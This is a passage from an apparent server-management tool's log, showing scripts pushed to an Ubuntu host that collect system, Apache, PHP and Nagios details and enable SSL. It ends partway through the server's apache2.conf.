	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-29 12:26:19: 

chmod 755 /tmp/pkp328215; /tmp/pkp328215; rm /tmp/pkp328215

2025-12-29 12:26:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/dev/dm-0                               partition	1998844		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
earth

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-29 12:26:19: 

PUT: /tmp/pkp810898

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-29 12:26:20: 

chmod 755 /tmp/pkp810898; /tmp/pkp810898; rm /tmp/pkp810898

2025-12-29 12:26:20: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 10992
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       10992  0.0  1.5 223648 30568 ?        Ss   12:23   0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php7_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-12-29 12:26:20: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'earth',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/dev/dm-0',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php7_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
      34 => 'xml2enc_module',
    ),
  ),
)


2025-12-29 12:26:20: 

PUT: /tmp/pkp444698

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-29 12:26:21: 

chmod 755 /tmp/pkp444698; /tmp/pkp444698; rm /tmp/pkp444698

2025-12-29 12:26:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-29 12:26:21: 

PUT: /tmp/pkp876266

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-29 12:26:22: 

chmod 755 /tmp/pkp876266; /tmp/pkp876266; rm /tmp/pkp876266

2025-12-29 12:26:23: 


[php7.4]
php=/usr/bin/php7.4
fpm=
version=7.4.33


2025-12-29 12:26:23: 

PUT: /tmp/pkp774769

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-29 12:26:23: 

chmod 755 /tmp/pkp774769; /tmp/pkp774769; rm /tmp/pkp774769

2025-12-29 12:26:23: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_ide_smart)= b1887f5400b49040df7b5291c8a0ca1f
bin(/usr/local/nagios/libexec/check_dns)= d566b6bc0474d7715ab2a47748d2f004
bin(/usr/local/nagios/libexec/check_http)= bdb19124ff17bd97d153ceb801801830
bin(/usr/local/nagios/libexec/check_dig)= 9719560a09bf16ef37819264878109d3
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_udp)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_clamd)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_pop)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4f7825ef379f5928e77981623e84215d
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_nt)= 9dda2ffa4b169c5cc9d6ef548679d98e
bin(/usr/local/nagios/libexec/check_time)= 04c9c9137c22baf30c5f16e7bda81a5f
bin(/usr/local/nagios/libexec/check_dhcp)= 543e4f04b55d5213d82e28b0e9a87f8d
bin(/usr/local/nagios/libexec/check_ntp_time)= c4b8c54affdd4cc080f583d080f970aa
bin(/usr/local/nagios/libexec/check_overcr)= 7591e18ef27c944b7988eb2b8e1c1370
bin(/usr/local/nagios/libexec/check_real)= 2cc971d31ad7a1056915d934fe13ee7e
bin(/usr/local/nagios/libexec/check_mrtg)= 713886b8a051817382b80fc5479d79f0
bin(/usr/local/nagios/libexec/check_disk)= 3fca87119fdfad77a6e81fb2f693fcec
bin(/usr/local/nagios/libexec/check_ftp)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_uptime)= a01eb9531b3af3de9d68810b1a29b377
bin(/usr/local/nagios/libexec/check_ups)= 4aef1fd61acf2beca1285a068c3d3cf2
bin(/usr/local/nagios/libexec/check_by_ssh)= 8efa99dd39fe056f27f69e053cecf8b3
bin(/usr/local/nagios/libexec/check_ssh)= 84bb599d6ee32959c66d2739b0e1e0e9
bin(/usr/local/nagios/libexec/check_dummy)= e416bf7d3a317de0c92d3bc1e4c74492
bin(/usr/local/nagios/libexec/check_imap)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_smtp)= 7c5f79df00bbc6b2d27eb729d46ae0cd
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_swap)= d9deef826c0ff302721be4318f0ed4cd
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_nagios)= 8f4becf1dc75de6df4418c3f62d63fc8
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_tcp)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_ping)= f53769c5d34552ac461c71410a1d9a46
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 4bb8dae9561eaeeae814b4b664cd8b25
bin(/usr/local/nagios/libexec/check_nntp)= f40fff2f1e58e16145ca9ed17cfa2c38
bin(/usr/local/nagios/libexec/check_icmp)= 20b2066d2db5140b18e93b9e487fed45
bin(/usr/local/nagios/libexec/check_apt)= 858df0e3da45aef78aa83848e964f854
bin(/usr/local/nagios/libexec/check_procs)= 3f875bdff15450053a236cd5f33bb9ef
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_ntp)= 8c9bea5ee6e00a0b016daa7a9da95922
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_load)= 0a3c45360c595eca4c9255acfb29a936
bin(/usr/local/nagios/libexec/check_nwstat)= ad559609531ec9221233e59c87d5d4fe
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_cluster)= e7cc450fbad7b7b6ad777df18ed54093
bin(/usr/local/nagios/libexec/check_users)= 95878aa078c1a1bb5454766d30d80884


2025-12-29 12:26:24: 

PUT: /tmp/pkp382980

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-29 12:26:24: 

chmod 755 /tmp/pkp382980; /tmp/pkp382980; rm /tmp/pkp382980

2025-12-29 12:26:24: 


status=ok


2025-12-29 12:26:24: 

PUT: /tmp/pkp330564

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 12:26:25: 

chmod 755 /tmp/pkp330564; /tmp/pkp330564; rm /tmp/pkp330564

2025-12-29 12:26:25: 
2025-12-29 12:26:25: 

PUT: /tmp/pkp966606

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/sites-available/000-default.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/apache2/sites-available/carelinks_www_net.conf')
    show_file('/etc/apache2/sites-available/pjy_earth_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 12:26:26: 

chmod 755 /tmp/pkp966606; /tmp/pkp966606; rm /tmp/pkp966606

2025-12-29 12:26:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

